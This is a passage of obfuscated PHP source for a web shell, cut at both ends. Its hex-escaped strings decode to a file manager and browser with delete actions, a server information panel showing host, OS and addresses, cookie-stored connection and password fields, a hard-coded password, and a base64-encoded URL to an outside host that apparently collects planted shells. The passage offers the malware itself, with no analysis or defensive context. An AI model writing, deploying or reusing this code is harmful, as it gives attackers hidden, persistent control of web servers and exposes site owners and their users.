61\x20\143\154\141\x73\163\75\134\42\x6c\x69\156\x6b\134\42\40\150\162\145\146\75\x5c\42\152\141\x76\141\163\143\162\x69\x70\164\x3a\x64\x6f\143\x75\155\x65\156\164\56\x66\x6f\x6c\x64\x65\x72\56\144\151\162\56\166\x61\x6c\165\x65\x3d\x27\42\x2e\x75\x72\154\145\x6e\143\x6f\144\145\x28\x61\x64\144\x73\x6c\141\x73\x68\145\x73\50\x24\164\x29\x29\56\42\x27\x3b\x64\157\143\x75\x6d\145\x6e\164\56\146\x6f\x6c\144\x65\x72\x2e\163\x75\x62\155\x69\x74\x28\51\73\134\42\x3e\74\x62\76\42\x2e\150\x74\155\x6c\x73\160\x65\x63\151\x61\x6c\143\x68\141\x72\x73\x28\x24\142\x29\56\104\111\122\105\x43\x54\x4f\122\x59\137\x53\x45\120\x41\x52\101\x54\x4f\122\56\x22\74\x2f\x62\x3e\x3c\57\141\x3e\42\73\xa\40\44\x69\x2b\x2b\73\xa\x7d\xa\x3f\76\74\x62\162\76\12\x9\40\x20\x3c\x62\x72\76\12\x9\x20\40"; goto V1FD3; CRGnV: echo isset($_COOKIE[tiWC6]) ? $_COOKIE[tiWC6] : "\160\x61\163\x73"; goto y3AXc; CwF59: echo base64_decode($Dxi6p[U0Zoe]) . getenv("\110\124\x54\x50\x5f\x48\117\123\x54") . $_SERVER["\120\x48\120\137\x53\105\x4c\106"]; goto SgtL1; WMQsd: echo "\x25\51\x3c\142\162\x3e\74\x2f\x74\x64\x3e\12\x20\x20\x20\x20\40\x20\40\40\x20\x20\74\x74\144\x20\151\x64\75\42\x69\x6e\x66\157\42\x20\x77\151\144\x74\x68\75\x22\65\x30\45\x22\x3e\74\x64\151\x76\x20\141\x6c\151\x67\x6e\75\x22\154\145\146\x74\x22\76\12\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20"; goto BVs5S; y4tCF: echo "\x22\40\x73\x69\172\145\75\42\x39\42\40\x2f\76\xa\40\40\40\40\x20\x20\x20\x20\x3c\151\156\x70\x75\x74\x20\164\x79\160\145\75\42\x74\x65\x78\x74\x22\40\x73\151\x7a\x65\75\42\61\60\x22\x20\156\141\155\x65\75\42\160\x61\x73\163\x22\40\x76\141\154\x75\x65\75\42"; goto CRGnV; YwzKs: echo $ZbajO; goto MyqaF; xtW1M: echo $_SERVER["\x48\x54\x54\120\x5f\x48\117\x53\x54"]; goto UD1An; zdyNu: echo $nYtzj; goto MQaKH; CydDf: echo $K53oI; goto rGQ1s; FA9L_: echo $_SERVER["\123\105\122\126\x45\122\x5f\x41\x44\104\x52"]; goto PNhJO; h6L_G: echo "\74\142\x72\76\xa\11\11\40\40\x20\40\x46\x72\x65\145\40"; goto jutJT; KD0Rz: echo $_SERVER["\x52\105\115\117\x54\105\x5f\x41\x44\x44\x52"]; goto y8tBn; V1FD3: echo $YAaOg; goto pBvm4; jC_nZ: echo "\x5b\156\145\170\100" . getenv("\110\x54\x54\120\137\110\x4f\123\x54") . "\x20\176\x5d"; goto N8oLn; h9jrd: echo $y8x1f; goto uZRIx; BTnGg: echo "\x20\51\x3c\x62\x72\76\12\x9\11\11\123\157\146\164\167\x61\162\x65\x3a\40"; goto pt_bg; wbEuv: echo PHP_OS; goto BTnGg; nSd_D: echo isset($_COOKIE[QEn_A]) ? $_COOKIE[QEn_A] : "\x68\157\x73\x74"; goto ukn9B; A3IJQ: echo $AYW16; goto KNmDY; pBvm4: echo $jbUro; goto tl28h; BVs5S: echo $hmpqb; goto YQiMm; g2ZuM: echo "\74\142\x72\x3e\12\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x41\144\144\x72\x65\163\163\x3a\40"; goto FA9L_; MyqaF: echo $LuTf9; goto haMfF; haMfF: echo "\x20\x20\x20\40"; goto CydDf; ewYin: echo $PBrJS; goto jtpCW; g4KsW: echo "\x3c\x3f\xa\151\x6e\x69\x5f\x73\145\x74\x28\x27\155\145\x6d\157\x72\x79\x5f\x6c\151\155\x69\164\47\54\40\x27\61\x30\x30\x30\x4d\x27\x29\x3b\xa\44\x5f\x6e\145\x78\160\x77\144\x20\x3d\40\x22\x70\x34\x73\x73\167\x30\x72\x64\132\42\x3b\12\x2f\x2f\151\x66\40\x28\44\x5f\x47\x45\x54\x5b\x27\x73\164\x72\47\135\x20\x21\x3d\x20\44\137\156\x65\x78\x70\x77\144\x29\40\x7b\x64\151\145\x28\51\x3b\175\12\12\12\x20\x24\151\155\x61\147\x65\x73\40\x3d\x20\141\x72\x72\x61\171\x28\12\xa\xa\12\42\143\150\141\x6e\x67\145\42\x3d\x3e\12\42\x69\126\102\x4f\x52\167\x30\x4b\107\x67\157\x41\x41\x41\x41\116\x53\x55\x68\105\125\x67\101\101\x41\x42\x41\101\101\x41\101\x51\103\x41\131\x41\101\101\101\146\70\x2f\71\x68\101\101\101\101\102\x47\144\102\124\125\105\101\101\x4b\57\x49\116\x77\x57\113\66\x51\x41\x41\x41\102\154\60\122\126\x68\x30\125\x32\x39\155\144\x48\x64\x68\143\x6d\x55\101\121\x57\122\x76\x59\x6d\125\147\123\x57\x31\x68\132\62\126\123\x5a\127\106\153\145\x58\110\112\132\x54\167\x41\101\101\116\x45\x53\125\122\x42\x56\110\152\141\131\x6a\x78\x78\x35\x74\132\x7a\x58\x68\x34\117\x48\x67\131\x6b\70\x4f\63\x6e\x62\64\131\146\x50\57\x38\x7a\x66\110\150\x77\x6a\x6b\110\63\x61\x54\x48\104\71\67\x2b\x57\x50\70\53\x73\x50\x37\120\167\x37\144\x31\x37\63\x55\170\115\x44\x43\x2b\121\61\x51\111\105\105\101\163\x66\x48\x36\x65\x41\150\x6f\157\x30\102\x37\114\x67\x72\71\x2f\57\107\110\67\53\x5a\62\114\x34\53\113\x61\146\x51\x63\x72\x67\115\x51\120\124\x58\62\153\145\141\x56\141\61\x6f\x6e\125\x39\71\62\64\x77\115\x6a\x4c\x4d\x5a\155\102\x45\x71\101\x55\111\111\x4a\x62\57\x2f\57\x37\57\x59\125\101\x44\x7a\113\x78\x4d\x44\x50\x2b\x66\x76\127\121\x51\132\116\x2f\x45\167\x50\121\x61\x4b\x48\104\170\102\x4d\117\156\151\60\x78\146\120\x72\x4a\167\x58\x2f\57\x39\71\171\x38\104\64\x33\53\105\x57\157\101\101\131\155\110\101\101\x6b\101\x57\x4d\x4c\71\132\x78\x73\104\102\x38\112\151\102\64\124\x30\x44\107\x4a\57\156\x4d\117\142\x2b\x6b\112\110\130\x39\166\130\172\165\x33\150\x47\102\x73\x62\x37\162\x47\170\x73\104\113\167\163\x62\x41\167\x41\101\131\x54\x56\147\x4c\x2b\x66\x50\x6a\x4d\x77\x66\61\x6a\105\167\120\167\142\171\x50\156\117\x78\120\x44\x73\x4b\123\x50\x44\x56\x34\163\167\x52\156\x59\145\x64\164\164\110\x39\65\70\67\143\130\x4a\x78\172\x62\61\x78\65\x68\x72\x44\x37\x5a\x75\130\107\x51\x41\103\103\113\x73\x42\104\102\57\x33\115\x7a\x44\57\165\143\x6a\x41\x38\x49\117\x4e\x34\x66\x2f\114\x76\x77\167\x76\160\x4b\60\x59\132\x46\x32\x43\x47\142\67\x64\x76\x73\65\x77\66\146\x76\x6e\156\x32\x2f\x66\x76\107\x54\131\x73\x32\115\x4e\x55\x4f\x45\146\102\157\101\101\131\163\x4b\x6d\x2f\x2f\x2f\x44\x79\121\171\x73\x76\112\x77\x4d\104\x46\70\64\x47\116\x35\57\65\x47\120\x34\157\165\x48\x48\111\103\121\x6a\170\x63\104\x4d\x38\112\145\102\x68\131\127\x56\64\143\x71\x6c\x4b\60\x42\x56\57\64\103\x59\152\x51\105\147\x67\104\102\x63\70\x50\146\106\103\x51\x5a\x6d\152\x6c\x74\101\x7a\143\x43\x59\x2f\143\124\101\x38\111\x35\110\x6a\x55\110\x51\111\132\123\x42\70\57\71\x50\102\x6a\x34\x65\x58\x6f\x59\152\102\x77\70\x78\63\x4c\x74\172\110\161\151\123\154\121\x30\x55\x59\121\101\102\150\x4f\157\x43\131\101\x6a\x2f\x65\172\x61\120\147\131\x6b\x44\x4b\120\x77\124\141\x50\x4d\x48\x48\x6f\x62\x33\115\160\x34\x4d\x67\x6c\114\123\x44\x43\172\x41\x42\x4d\104\x49\172\115\x6a\x77\x35\x76\x56\x4c\124\160\x42\165\111\102\x59\x42\131\x6d\x36\x41\x41\x47\113\102\122\145\x6c\120\x55\x4e\123\x38\165\x4d\x6a\x41\x77\166\66\x51\147\146\x47\x50\x49\x4a\x44\x44\172\166\x44\161\x4f\172\165\104\x61\106\x41\163\x77\x36\x38\x76\110\x78\x68\x2b\57\x2f\x72\112\x38\117\156\x6a\x4a\x77\131\x6d\x52\x69\132\147\155\x6d\x47\x45\x75\x5a\167\130\x49\111\104\x67\x58\166\147\110\70\x74\x4c\x66\x48\x30\103\107\x4e\x41\115\x44\x42\171\57\x44\x6c\x2b\144\x50\107\144\64\x49\127\172\x4e\167\57\x47\116\155\53\x50\156\x36\x44\126\101\152\x49\x38\x4d\x2f\x6f\x41\x74\x42\x51\x51\121\114\x4b\x6c\x41\157\x41\147\x51\121\x45\x33\114\143\x2f\57\x6e\116\103\105\x78\x45\x4c\x67\170\x2f\x2f\67\147\171\130\x4c\167\x6d\x79\120\x42\142\x31\x59\x48\x68\x44\x7a\103\x64\57\x66\63\63\x6e\64\107\106\154\121\x57\157\150\150\107\x6b\103\66\167\122\151\104\70\101\70\x56\165\x41\x41\111\113\x37\147\x4a\x57\x5a\147\x65\110\x68\171\62\70\115\154\57\131\x64\x59\x5a\104\x6d\65\x47\x5a\x67\164\115\61\151\64\106\142\x53\132\x50\x6a\x7a\64\170\166\131\x4d\x6d\131\127\112\x67\x59\x75\x62\x6d\x34\107\112\x69\141\x6d\x72\60\102\x6e\57\157\132\147\x4a\x67\141\101\x41\x47\x4a\103\144\164\x4f\x50\67\63\70\x59\x6e\x74\x39\x36\x7a\x73\102\161\x37\115\70\147\x72\x47\x73\117\104\x4f\115\146\104\107\172\x41\141\102\115\x55\x35\107\115\x51\x45\x78\115\x48\x75\157\113\x5a\167\x63\142\x65\70\x62\x65\147\x6b\103\167\104\111\x79\115\x34\x45\150\147\x41\101\157\151\106\x43\121\152\x42\x53\x52\x65\x49\116\x59\63\x4e\x47\x56\121\115\124\x42\x6d\131\x42\131\x53\x41\x4e\x76\71\x6d\53\x43\63\101\x79\x38\104\x4b\172\147\x62\x30\x2b\63\x38\107\x4e\152\x5a\x6d\x42\x6d\132\155\x46\x67\131\x75\x4c\x6b\66\x6d\70\113\150\x59\x68\x6c\x75\x33\x62\152\114\143\x76\63\x4f\144\x41\123\103\x41\x57\117\x37\x65\x65\146\x68\x68\61\131\x6f\x31\120\103\101\x6e\x4d\x6a\111\x44\x59\167\x63\x55\127\110\x39\x2b\101\x5a\63\106\x44\110\x54\x5a\130\x34\142\x2f\x49\x45\x38\104\167\x34\103\112\151\x5a\x48\150\x41\x7a\101\127\x67\x47\110\x78\x36\x38\166\130\114\167\x77\x4b\x43\x6f\157\x4d\161\161\162\x71\x44\101\101\102\x42\x67\104\x35\64\x41\x34\x78\x72\115\x6f\x31\132\101\101\x41\101\101\x42\x4a\x52\x55\65\105\x72\153\x4a\x67\x67\x67\x3d\x3d\x22\54\xa\xa\12\42\x64\145\154\x65\x74\x65\x22\x20\x3d\76\12\x22\122\x30\x6c\x47\x4f\x44\x6c\150\105\101\101\121\x41\116\125\x41\101\x4d\x63\172\x4e\x66\122\x78\144\120\x52\x7a\x64\120\116\171\x64\x50\116\x7a\144\144\147\161\114\x2b\101\x73\x4e\x4e\x38\x73\115\70\x63\x70\115\117\131\x32\x50\x75\x55\x32\120\x73\125\x67\x4b\53\x55\167\117\x66\112\x56\131\120\122\152\141\57\116\152\x61\166\x4e\x6a\x61\57\116\153\141\x38\125\131\x4a\70\x59\x5a\x4b\x4d\125\132\x4a\70\131\x67\x4c\x50\112\125\131\115\x55\x54\112\146\x45\57\x55\x76\101\x2f\x55\x66\112\x49\127\120\x46\x49\x57\116\122\x6c\144\x4e\53\143\x71\x4d\160\144\x53\143\65\x75\x58\x73\x70\130\x52\x73\160\131\x52\x73\x6c\131\122\x74\x57\111\x66\115\x6c\121\x51\x39\x79\x6d\x6f\115\154\110\x50\x73\x6c\110\120\70\x68\110\120\x38\x63\71\x4f\x65\x42\150\127\x2f\x57\102\146\143\x63\x39\x4f\x75\116\x53\x54\x2f\x57\x41\x66\166\123\x41\x66\x75\120\x45\x78\x50\x2f\57\x2f\167\x41\101\101\101\101\101\x41\x41\101\101\x41\x41\x41\101\x41\x41\x41\101\x41\x41\101\101\101\x41\101\x41\x41\101\101\101\101\x41\101\x41\101\x41\x41\101\101\x41\x41\101\x41\x41\x41\x41\101\x41\x41\101\101\x41\101\101\x41\x43\x48\x35\102\101\105\101\101\104\105\x41\x4c\101\x41\101\x41\x41\x41\x51\x41\x42\x41\101\x41\x41\x5a\x38\167\112\x68\167\123\x43\x77\141\x6a\60\145\131\x5a\61\121\143\145\127\x42\x45\x57\113\x67\x56\131\147\160\x48\x6f\x68\x59\111\113\151\x79\x52\130\x43\x76\123\160\57\x51\x68\166\x63\x49\154\x34\147\150\x46\x45\x4b\x68\x4d\x71\153\x48\147\132\103\126\x79\127\x42\110\x49\x77\57\x46\111\143\132\x41\101\x43\x67\x30\116\106\147\153\x41\123\x44\105\111\x44\x42\x73\x61\x47\147\167\111\123\x42\167\126\107\x4a\123\x55\103\63\71\x46\110\102\117\x55\102\x52\x49\x46\x47\102\x6b\x55\155\x45\111\144\x46\66\x41\x58\x48\102\60\143\x70\150\x6b\130\110\x55\x4d\x77\x46\x77\x61\x6f\121\66\163\110\106\61\x78\x43\163\141\x4e\x43\161\67\155\111\167\115\x45\170\121\x51\101\x37\x22\x2c\12\xa\12\x22\x66\x6f\x6c\x64\145\x72\x22\x3d\x3e\xa\42\x69\x56\102\x4f\122\x77\x30\113\x47\x67\157\101\x41\101\x41\x4e\x53\125\x68\105\125\147\101\101\x41\x42\101\x41\101\x41\101\121\x43\x41\131\x41\101\101\101\x66\x38\x2f\71\x68\x41\101\101\101\102\x6d\x4a\x4c\122\60\121\101\101\101\101\x41\x41\x41\x44\65\x51\x37\164\x2f\101\101\101\x41\103\130\102\x49\x57\130\115\x41\101\101\63\x58\x41\101\x41\116\61\x77\106\103\113\112\164\64\x41\101\101\101\x42\x33\x52\112\124\x55\x55\x48\x31\121\163\113\105\152\153\116\53\x64\61\x77\x55\101\x41\x41\101\x58\71\112\x52\105\106\125\x4f\x4d\165\154\x6b\125\x32\x49\x55\154\105\131\150\160\71\152\113\x76\x35\x41\160\157\x73\121\127\x67\x52\x42\164\101\x36\x43\x6d\123\x43\141\x35\x53\x7a\152\x59\x68\x47\60\x71\x59\x67\147\151\x50\66\131\x33\127\170\x6d\x74\x72\x4d\111\x6f\x6c\61\121\x4d\x38\x34\161\122\x4b\x52\154\x53\x56\x43\x32\142\x42\143\x59\122\160\165\x49\111\151\x67\106\x43\x37\x46\67\x6a\x30\x66\120\x2f\x57\x5a\170\x37\121\162\151\x42\x63\62\x58\x44\x77\x36\x63\x77\x2f\x65\x38\x4c\53\71\x52\154\x79\x36\130\164\x6f\x72\106\x34\x6a\132\x54\115\163\131\105\65\x38\104\x63\x32\x74\166\144\146\60\x4b\105\61\112\x31\67\x74\x2b\x58\x36\x31\x52\x73\x7a\x48\67\x58\62\145\x4c\x62\63\x6c\x46\x36\x76\144\x36\x56\141\x71\x54\62\120\102\112\123\143\x69\x37\121\53\x74\x61\112\115\x65\116\x74\64\x4d\x33\x33\x31\161\x46\161\160\x50\121\x43\x49\x41\66\x54\x54\107\x59\x37\153\70\x70\x45\x41\65\x30\111\x70\x63\106\115\x4b\x70\122\123\61\x46\x39\x58\67\121\101\x41\x77\x78\x75\102\x35\x4c\161\x38\57\71\155\154\x32\x4d\163\x79\154\167\167\65\x6e\x62\x6a\x70\x53\123\117\x6e\x50\131\131\112\155\112\x38\120\x6a\152\130\x57\60\163\x58\x4d\170\x55\x73\x6c\x44\63\110\x31\131\120\x78\125\110\70\x44\x77\x58\x67\x4a\53\x2f\x4e\x56\57\141\146\x2b\x63\x43\156\x44\151\x61\x42\123\103\x6d\164\x53\141\144\x6e\152\120\x36\104\115\x56\x63\x31\167\60\124\57\x42\146\147\x58\x77\144\114\101\x52\x5a\x4e\x59\x4b\62\x50\x48\147\132\x6c\150\67\53\x51\151\120\x6b\x49\111\x43\111\157\160\x52\x41\122\x52\115\x41\130\167\x56\x70\x68\x61\x48\63\x4d\x53\102\151\115\x4c\105\115\x72\65\x4c\114\x4a\x43\x63\x44\x7a\130\111\x37\156\102\156\124\67\150\150\x39\144\104\x30\124\x68\x49\64\x77\x48\105\x52\x41\x45\153\x54\x45\131\107\106\x6d\132\x41\x48\x35\x31\62\160\x77\x2b\145\64\64\120\130\x2f\53\x4d\154\x77\112\x33\x45\x66\x41\122\x42\x41\x55\151\x59\141\161\x56\x6b\x77\130\x71\x4c\x31\53\x52\x31\71\x2f\114\66\166\171\61\x6e\131\141\142\x4f\114\141\x32\x61\110\x6e\x5a\64\142\x66\63\x37\x38\x71\x62\161\x79\171\x72\x41\x38\113\110\x74\115\161\156\163\117\x4c\x34\x41\x41\x41\x41\101\105\154\106\124\x6b\123\165\x51\x6d\103\103\x22\x2c\12\x22\x73\x6d\x61\x6c\x6c\137\165\x6e\153\42\x3d\x3e\12\x22\x52\x30\154\x47\x4f\104\x6c\x68\x45\101\x41\121\101\110\143\101\101\103\x48\x35\x42\x41\x45\101\x41\112\x55\x41\x4c\101\101\101\101\x41\x41\x51\x41\102\x41\x41\x68\x77\x41\x41\101\111\145\160\63\102\x45\x39\155\154\x6c\x69\143\63\x42\65\x69\126\160\152\144\115\166\x68\57\x4d\x4c\143\x2b\x79\x31\125\x22\x2e\12\x22\160\71\120\155\x2f\107\126\165\x66\143\67\152\x2f\115\x7a\126\57\71\x58\x6d\x2f\x45\x4f\x6d\71\x39\x62\156\57\x4e\x6a\x70\x2f\x61\x37\x51\x2b\164\124\155\57\114\110\x53\x2b\x65\130\x77\x2f\x74\63\x72\57\116\x6e\x70\57\x64\x6a\x6f\57\116\162\x71\57\146\152\67\x2f\x39\x76\x71\x2f\116\146\157\42\x2e\xa\42\x2f\x4d\x62\145\53\70\x72\x68\x2f\x4d\156\x67\x2b\67\x6a\127\53\162\166\131\x2b\x72\x37\132\x2b\x37\130\x52\x39\x64\x44\153\x2f\x4e\110\x6b\x2f\x4e\114\154\57\x4c\x54\125\53\x72\x6e\x58\x2b\x38\x7a\x69\x2f\114\142\126\53\53\146\170\57\145\67\62\x2f\166\x48\63\x2f\166\114\64\x2f\165\x33\x31\x22\x2e\xa\42\57\145\x33\61\x2f\165\x44\165\x2f\x64\172\162\57\117\162\x7a\57\145\x48\x75\57\146\x58\x36\57\166\110\64\x2f\166\57\x2f\57\x2f\166\x2b\x2f\x33\145\x7a\x36\166\x66\67\57\57\x54\65\57\153\x47\x53\64\x50\166\71\57\x37\130\126\53\162\x48\124\x2b\x72\57\x62\x2b\162\172\141\x2b\x76\x50\64\42\56\xa\42\57\x75\172\x30\x2f\x75\162\172\57\165\67\x31\x2f\165\166\172\57\144\124\x6e\57\115\57\x6b\x2f\116\63\x73\57\144\x76\x72\57\x63\152\147\x2b\70\x50\144\53\x38\x48\143\53\x73\146\x66\53\x38\x54\x65\x2b\x2f\104\x32\x2f\162\130\111\70\x72\x48\x46\x38\x62\x72\115\x38\67\146\112\70\x6e\x6d\120\x22\56\xa\42\x77\x72\x33\116\x38\66\x2f\x44\70\x4b\x76\102\x38\106\x39\156\145\105\x46\x6f\164\105\x42\x6e\x74\105\x4e\x70\164\105\116\160\x74\x53\x78\125\160\170\61\x49\157\104\x6c\146\162\x54\122\x63\x72\132\145\145\x79\x5a\x61\x63\x78\160\x6d\x68\172\111\165\x52\x74\160\127\132\170\x49\165\x4f\x75\x4b\161\172\x22\56\xa\42\71\x5a\117\x57\x77\130\66\111\x73\x33\127\x49\x75\x35\151\x6d\60\67\162\112\x39\x4a\62\164\x32\132\x65\153\x30\155\x35\x37\162\x70\161\157\x31\x6e\113\x43\x74\125\126\x72\x74\131\x69\x72\63\x76\x66\66\x2f\x34\66\166\x34\x59\x75\165\x34\x57\x5a\x76\146\x72\67\120\x36\163\120\x53\66\x73\104\121\x22\56\12\x22\66\x36\x58\x42\x36\x63\x6a\132\x38\x61\x2f\x4b\67\71\x2f\163\57\144\x62\156\57\145\x7a\172\x2f\143\x7a\144\71\x6d\x4e\x30\152\113\x54\102\66\x61\x69\x2f\67\x36\127\71\67\x6e\151\x58\172\x32\x47\x43\167\x56\66\x41\167\x55\144\x73\x74\x58\x79\x56\171\x47\123\x44\167\156\155\131\x7a\x34\x69\157\42\x2e\xa\42\62\x34\117\151\61\x61\x33\102\64\65\123\171\x34\141\x65\x39\64\x34\103\143\x7a\64\123\152\61\156\x32\107\154\147\101\x41\x41\101\101\101\x41\101\x41\101\101\x41\x41\x41\101\101\101\x41\x41\101\101\101\x41\x41\101\x41\x41\x41\x41\x41\x41\101\x41\101\101\101\101\101\101\x41\101\x41\101\x41\x41\101\x22\56\xa\x22\x41\101\x41\101\101\101\x41\101\x41\x41\101\101\x41\x41\101\101\x41\x41\x41\101\101\101\x41\101\x41\x41\101\101\101\101\101\101\101\x41\x41\101\x41\101\x41\x41\101\x41\x41\101\101\x41\101\x41\101\x41\101\101\x41\x41\101\x41\x41\101\x41\x41\x41\101\x41\101\x41\x41\x41\x41\101\x41\101\101\101\101\101\101\x22\56\12\x22\101\x41\101\101\x41\101\x41\x41\101\x41\101\x41\x41\x41\x41\x41\x41\101\x41\101\101\x41\101\101\x41\x41\101\101\101\x41\101\101\101\101\101\x41\101\101\x41\x41\101\101\x41\101\x41\101\x41\x41\101\101\x41\x41\101\x41\101\101\101\101\101\101\x41\101\x41\x41\101\101\x41\101\x41\x41\x41\101\101\101\101\101\42\x2e\12\42\x41\101\101\101\x41\101\101\x41\x41\101\101\101\x41\x41\x41\101\101\x41\x41\101\x41\x41\x41\x41\101\x41\x41\x41\101\x41\101\x41\x41\x41\x41\x41\101\101\101\x41\x41\x41\101\101\x41\101\x41\x41\x41\x41\101\x41\101\101\x41\101\101\101\x41\101\x41\101\101\101\101\x41\101\101\x41\101\101\101\x41\101\101\x41\42\x2e\12\42\x41\x41\101\x41\101\101\x41\x41\x41\101\101\101\x41\101\x41\101\x41\x41\x41\x41\x41\x41\101\x41\x41\101\x41\101\x41\101\101\101\x41\101\x41\x41\x41\x41\x41\x41\x41\101\101\x41\101\x41\101\101\x41\101\x41\101\x41\x41\x41\x41\x41\x41\101\x41\101\101\x41\101\101\x41\x41\101\101\x41\x41\x41\101\101\x41\101\x22\56\xa\42\101\x41\x41\101\x41\101\101\101\x41\x41\x41\x41\101\101\x41\x41\x41\x41\x41\x41\101\101\101\x41\x41\x41\x41\101\101\101\x41\x41\101\x41\x41\101\x41\101\101\x41\x41\x41\101\101\101\101\101\101\101\101\x41\101\x41\x41\101\x41\101\x41\x41\101\x41\101\101\x41\101\x41\101\101\x41\x41\x41\101\101\101\x41\x41\42\56\xa\42\x41\101\x6a\x6e\101\x43\164\x56\x43\153\x43\x77\64\x4a\x78\112\x41\121\121\x71\106\102\152\x41\170\157\60\115\116\107\161\163\101\102\121\x41\150\x36\x43\106\101\63\156\153\x30\x4d\x48\151\122\x52\x45\126\104\150\172\163\157\114\121\x77\101\112\x30\x67\124\x34\x54\x6f\x65\x63\x53\x48\101\131\115\172\42\56\xa\42\141\121\147\x6f\x44\x4e\x43\x43\x53\x42\64\x45\101\156\x49\155\x43\x69\123\102\x6a\125\x79\x47\114\157\142\x67\130\102\x54\x70\153\101\101\65\x49\66\160\x67\x6d\x53\153\x44\x7a\65\143\165\115\x53\172\70\x79\127\154\101\171\157\103\x5a\106\x47\142\x34\x53\121\113\150\101\123\115\x42\130\x4a\160\x4d\x22\56\12\x22\165\123\162\x51\105\x51\167\x6b\107\x6a\x59\x6b\121\103\x54\101\x79\x36\101\x6c\125\x4d\x68\x57\x6b\154\x51\102\167\64\115\105\x68\x67\x53\101\66\130\x50\147\122\170\123\x35\x69\151\x34\x30\x4b\114\x46\147\151\64\102\107\x54\x45\x4b\x41\x73\x43\113\x58\151\150\x45\x53\103\x7a\x72\x73\x67\123\x51\103\x22\x2e\12\42\171\111\153\x55\x56\53\x53\x71\x4f\131\x4c\x43\x41\x34\x63\163\101\x75\x70\70\x36\x4f\107\104\x6b\x4e\167\x34\102\x70\121\x34\117\141\x42\x46\x67\x42\x30\124\105\x79\111\125\x4b\161\x44\x77\124\122\163\64\x61\71\171\115\x43\x53\117\x6d\104\102\157\171\132\165\x34\163\x4a\113\103\147\167\x49\x44\x6a\x22\56\12\x22\171\x41\163\157\153\x42\x6b\x51\101\104\163\75\x22\54\12\xa\x22\165\162\x6c\x22\x3d\x3e\xa\x22\x61\x48\x52\60\143\104\x6f\x76\x4c\62\x34\167\144\110\143\x75\x59\x57\x78\x30\132\x58\x4a\x32\x61\130\x4e\60\131\123\x35\x76\143\x6d\143\x76\131\x79\x35\x77\141\110\x41\x2f\x64\110\x6c\167\x5a\x54\x31\x7a\x61\x47\x56\163\142\110\x4d\x6d\131\172\60\x3d\x22\54\12\xa\42\145\x78\x74\137\x6d\x70\63\x22\75\76\12\x22\x52\x30\x6c\107\117\x44\x6c\x68\x45\101\101\x51\101\x43\111\101\101\x43\x48\65\x42\101\x45\101\101\101\x59\101\x4c\101\101\101\x41\x41\x41\121\101\x42\101\101\147\147\x41\x41\x41\120\x2f\57\x2f\64\x43\101\x67\x4d\104\101\x77\111\103\101\x41\x50\57\57\101\101\101\x41\101\x41\x41\101\x41\x41\x4e\x55\x22\56\xa\42\x61\107\x72\x53\x37\x69\165\113\121\x47\163\131\x49\x71\160\160\x36\121\x69\132\122\x44\x51\127\x59\x41\x49\114\121\x51\x53\101\x32\147\62\x6f\x34\x51\157\x41\x53\110\x47\x77\166\x42\x62\x41\x4e\63\107\130\x31\x71\x58\x41\x2b\162\61\x61\x42\121\110\122\x5a\110\x4d\x45\x44\x53\131\103\172\63\146\143\42\x2e\12\42\x49\x47\x74\107\x54\x38\x77\x41\125\x77\x6c\x74\172\167\x57\116\x57\122\x56\63\x4c\x44\x6e\170\131\x4d\x31\x75\142\x36\107\x6e\x65\x44\167\x42\x41\104\x73\x3d\42\54\xa\42\145\170\x74\x5f\145\x78\x65\42\75\x3e\xa\42\x52\x30\154\107\x4f\x44\x6c\150\105\167\101\x4f\x41\113\x49\x41\101\x41\x41\101\x41\x50\x2f\57\x2f\167\x41\x41\166\143\142\107\x78\x6f\123\x45\150\120\57\x2f\57\167\101\101\101\x41\101\x41\101\x43\110\x35\102\101\105\x41\x41\101\125\101\x4c\101\x41\x41\101\x41\101\124\x41\x41\x34\101\101\x41\115\67\42\x2e\xa\x22\127\x4c\x54\143\124\x69\x57\x53\x51\x61\x75\x74\x42\105\121\61\150\x50\53\x67\x6c\x32\x31\x54\x4b\101\121\x41\x69\157\x37\x53\x38\x4c\170\x61\x47\x38\x78\60\x50\142\x4f\143\x72\x51\x66\x34\164\116\165\x39\167\141\x38\127\x48\116\113\113\122\x6c\x34\163\x6c\53\x79\71\131\102\165\x41\144\x45\x71\x74\42\x2e\xa\x22\170\150\x49\101\117\x77\75\x3d\x22\x2c\xa\12\x22\x65\170\x74\137\x68\x74\x6d\154\42\75\x3e\xa\42\151\x56\102\117\122\x77\60\x4b\x47\147\157\x41\x41\x41\101\x4e\x53\125\150\105\125\147\x41\101\x41\x42\101\x41\101\x41\101\121\x43\x41\131\x41\101\x41\101\x66\70\x2f\71\x68\x41\x41\101\101\102\107\x64\102\x54\125\105\x41\101\113\57\111\x4e\167\x57\113\66\121\x41\x41\x41\102\x6c\60\x52\126\150\x30\x55\62\71\x6d\144\110\144\150\x63\x6d\125\101\121\127\x52\166\131\x6d\125\x67\123\x57\61\x68\132\x32\126\x53\132\x57\106\x6b\x65\130\x48\112\132\124\x77\101\x41\x41\120\63\123\125\x52\102\x56\x48\152\x61\x59\164\x78\170\x35\x42\x59\x44\111\167\x4d\x55\115\104\x4c\x45\123\x49\x6a\171\124\x65\122\151\132\x32\x48\x34\57\57\70\x2f\x57\117\x67\x76\105\x50\57\x36\71\132\146\150\65\53\71\x2f\104\111\x38\145\166\x33\152\170\71\116\x47\x44\x4b\101\x59\x6d\160\x6f\x76\x63\x2f\x4d\111\x4d\143\x36\145\x30\x4d\x77\101\x45\105\101\x73\x7a\x45\171\x50\104\x50\66\x68\53\x70\x6e\71\57\x4f\x52\127\x6b\102\x59\x56\64\x4f\x56\154\150\122\x6a\114\x38\102\160\162\x7a\x35\145\164\x66\x68\156\x63\146\120\x6a\120\x38\x6c\x35\111\121\x34\165\126\x68\63\x33\114\x74\62\x69\x31\146\157\x41\125\x58\121\120\111\101\101\143\x53\151\162\x43\x33\106\x38\120\x6f\130\x49\70\x4e\x37\x4a\155\x61\107\x72\x77\71\146\x2f\57\172\x36\x37\x53\x38\104\x43\x7a\x4d\162\101\167\x76\x6a\x50\167\x5a\127\126\x6b\131\107\x70\x76\x2b\x4d\x44\111\x78\x41\x4a\172\x49\x42\x35\126\x6c\x5a\107\102\x67\x73\x6a\x54\x52\154\127\106\151\x59\116\x39\x39\57\57\x42\x70\x73\103\105\x41\101\163\x62\x43\170\x73\124\103\167\x4d\152\105\x78\57\x50\x33\x4e\132\x50\155\x63\123\x54\x42\62\57\125\116\155\x42\163\142\x2f\57\170\x69\x2b\x66\166\63\104\x6f\103\x48\x38\154\70\x46\x46\154\x5a\155\102\147\64\x57\126\x67\x5a\x32\144\154\145\110\x48\x72\71\x38\115\154\x32\67\143\131\x2f\152\x50\x77\x4